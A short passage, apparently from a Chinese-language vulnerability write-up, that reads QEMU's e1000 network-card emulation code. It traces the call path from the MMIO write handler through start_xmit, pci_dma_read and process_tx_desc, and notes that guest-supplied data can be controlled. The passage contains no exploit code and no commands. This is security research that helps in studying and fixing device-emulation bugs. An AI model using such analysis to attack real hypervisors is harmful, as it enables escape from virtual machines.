DBGOUT(UNKNOWN, "MMIO unknown write addr=0x%08x,val=0x%08"PRIx64"\n",
index<<2, val);
}
}
函数e1000_mmio_write()
会调用set_tctl()
,这里不是直接调用,而是通过数组转换的形式
我个人的理解从函数start_xmit()
开始可以算作是我们分析的入口,找到了入口,而且参数数据我们可控,就可以进行初步的代码阅读工作了,函数pci_dma_read()
用于获取我们传入的数据,保存在desc
描述符里,函数process_tx_desc()
用于发送数据